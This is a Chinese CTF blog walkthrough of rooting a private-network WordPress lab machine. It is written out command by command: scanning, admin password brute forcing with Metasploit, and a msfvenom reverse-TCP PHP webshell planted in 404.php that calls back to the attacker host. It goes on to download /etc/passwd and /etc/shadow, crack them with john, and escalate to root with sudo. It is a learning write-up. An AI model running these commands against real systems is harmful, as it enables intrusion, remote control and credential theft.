声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。

穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,知道全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。穷举法也称为枚举法。

 

web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

 

靶场IP地址:192.168.31.61

 

扫描主机服务信息以及服务版本:

nmap -sV 192.168.31.61

 

 

 

快速扫描主机全部信息:

nmap -T4 -A -v 192.168.31.61

 

开放了http服务

可以使用浏览器打开http://ip:port/敏感页面,查看敏感信息,尝试找到可利用的位置

 

 

 

同时也可以使用nikto探测敏感信息:

nikto -host http://192.168.31.61

提示我们/secret/是一个敏感目录:

 

 

 使用浏览器访问看一看:

 

 

 点击login in尝试登陆,弹出如下界面:

 

 

那就得想办法登陆进去,如果使用暴力破解的话至少需要知道用户名吧

 

补充: 这时候会出现这么个问题,如果用的是域名访问可能会访问不了:

 

 

 

这时就需要在kali中编辑本地的host文件:

gedit /etc/hosts

将靶机的IP地址与站名都输进去;

 

 

 保存,再重新访问即可

 

 

使用metasploit进行暴力破解:

首先得使用wpscan对目标站点的用户名进行枚举:

wpscan --url www.vtcsec.com/secret/ --enumerate u

 

 

 发现用户名admin

那么接下来就使用metasploit破解用户名admin对应的密码:

msfconsole

msf5 > use auxiliary/scanner/http/wordpress_login_enum

msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.61

msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt

msf5 auxiliary(scanner/http/wordpress_login_enum) > set username admin

msf5 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

msf5 auxiliary(scanner/http/wordpress_login_enum) > run

破解成功:

 

 

 使用这对账号和密码登陆服务器后台成功:

 

 

 接下来还是老套路,上传webshell获取控制权:

先在攻击机制作webshell:

在kali linux终端输入如下代码:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.113 lport=4444 -f raw

会生成如下代码,注释符不要哦:

 

 

 将复制下来的代码覆盖网站后台的404.php代码处并上传:

 

 

 然后就是在攻击机端使用metasploit监听该webshell了:

msfconsole
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.31.113
msf5 exploit(multi/handler) > show options

查看结果如下:

 

 

 启动监听:

msf5 exploit(multi/handler) > run

 

接下来使用浏览器来访问目标站点的404文件:

http://192.168.31.61/secret/wp-content/themes/twentyseventeen/404.php

发现返回shell成功:

 

 

 使用sysinfo查看系统的信息,使用shell加载靶场的shell:

 

 

 通过id查看当前用户,发现还不是root用户:

 

 

 那怎么提升权限呢:

先exit回到meterpreter:

 

 

 下载/etc/passwd和/etc/shadow:

meterpreter > download /etc/passwd
meterpreter > download /etc/shadow

 

 

 

 

然后回到kali linux的终端:

先ls一下查看是否下载成功

使用unshadow命令:

unshadow passwd shadow > cracked

然后ls一下,发现能找到cracked文件,重定向成功

破解一下靶机上存在的用户名和密码:

john cracked

发现了这么一对用户名和密码:

 

 

使用该用户名和密码进行提权:

在meterpreter中进入shell,并尝试登陆这个用户:

 

 

 提示必须要在一个终端里操作:

老操作:

python -c "import pty;pty.spawn('/bin/bash')"

返回给我们一个终端的页面:

再进行提权,使用之前暴力破解得到的用户名和密码进行登录:

 

 发现登陆成功,但还是不是root权限

输入:

sudo -l

并输入密码

然后获得可以执行的操作:

 

 然后输入如下命令:

sudo bash

成功获得root权限:

本题结。